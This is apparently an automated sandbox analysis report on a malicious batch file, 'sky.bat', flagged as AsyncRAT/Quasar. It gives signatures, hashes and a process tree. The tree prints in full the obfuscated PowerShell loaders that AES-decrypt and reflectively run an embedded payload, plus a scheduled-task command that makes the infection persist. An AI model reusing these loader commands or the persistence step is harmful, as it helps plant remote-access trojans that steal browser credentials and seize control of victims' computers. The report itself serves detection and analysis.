Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/01/2023, 16:32

General

  • Target

    sky.bat

  • Size

    49KB

  • MD5

    4300caa42bd8fc0c7d9ce83b19c6f1f6

  • SHA1

    ed8eedc542e02a8ab749b02f161d39bb840a589c

  • SHA256

    d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e

  • SHA512

    0ebcd250ff95b3bd8058e4bc69640afec65cf91a2745e71303edc48e6066ffa44a589bc2bd060eb54a0c9bc189169757f9a0ec292a6200090e1422db5f64ed30

  • SSDEEP

    1536:WBqEwgF4HVzac6F8F2xqWa8VfXx0da57eezlV4R:1/gF41GLNxfa8VPuda57egQ

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
      "sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:460
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\suuule.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1924
            • C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
              "suuule.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $aObMV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\suuule.bat').Split([Environment]::NewLine);foreach ($HMeAa in $aObMV) { if ($HMeAa.StartsWith(':: ')) { $jAtOW = $HMeAa.Substring(3); break; }; };$ZFFIb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jAtOW);$ufQIZ = New-Object System.Security.Cryptography.AesManaged;$ufQIZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ufQIZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ufQIZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xOjIEV/9x6H2AllyLs+AVd39m7l0oQelRu64WlIJr2c=');$ufQIZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TIb2elsPL654mr15kjK1tw==');$iHrgg = $ufQIZ.CreateDecryptor();$ZFFIb = $iHrgg.TransformFinalBlock($ZFFIb, 0, $ZFFIb.Length);$iHrgg.Dispose();$ufQIZ.Dispose();$rCpxm = New-Object System.IO.MemoryStream(, $ZFFIb);$ZoKsk = New-Object System.IO.MemoryStream;$EUWbj = New-Object System.IO.Compression.GZipStream($rCpxm, [IO.Compression.CompressionMode]::Decompress);$EUWbj.CopyTo($ZoKsk);$EUWbj.Dispose();$rCpxm.Dispose();$ZoKsk.Dispose();$ZFFIb = $ZoKsk.ToArray();$ARNYR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ZFFIb);$BjviT = $ARNYR.EntryPoint;$BjviT.Invoke($null, (, [string[]] ('')))
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:668
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe" /rl HIGHEST /f
                7⤵
                • Creates scheduled task(s)
                PID:400

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    a6c9d692ed2826ecb12c09356e69cc09

    SHA1

    def728a6138cf083d8a7c61337f3c9dade41a37f

    SHA256

    a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

    SHA512

    2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

  • C:\Users\Admin\AppData\Local\Temp\sky.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Temp\sky.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Temp\suuule.bat

    Filesize

    325KB

    MD5

    2f84982ec56d82645ac61de4fb3e6e50

    SHA1

    92817fc3db66755ad189049f8e4ad3dbbaaa6db1

    SHA256

    56aa2d6eee7f10040da74bb29c3bbe1e555547249ac4fc21e53e7d6182941e9c

    SHA512

    2a9802c6eb9eb263b7388e6659cd424592bc151e392330ac9fb3ebf96dc1e4127db124bd412c85480247089e9db972966c735b9e049680d6200b97581135c3cd

  • C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • memory/668-153-0x00000243BEA00000-0x00000243BEAB2000-memory.dmp

    Filesize

    712KB

  • memory/668-149-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB

  • memory/668-152-0x00000243BE3F0000-0x00000243BE440000-memory.dmp

    Filesize

    320KB

  • memory/668-154-0x00000243BF070000-0x00000243BF232000-memory.dmp

    Filesize

    1.8MB

  • memory/668-155-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-139-0x000001BB561A0000-0x000001BB561BE000-memory.dmp

    Filesize

    120KB

  • memory/3100-138-0x000001BB56100000-0x000001BB56176000-memory.dmp

    Filesize

    472KB

  • memory/3100-137-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-135-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-134-0x000001BB55860000-0x000001BB55882000-memory.dmp

    Filesize

    136KB

  • memory/5108-145-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB

  • memory/5108-142-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

    Filesize

    10.8MB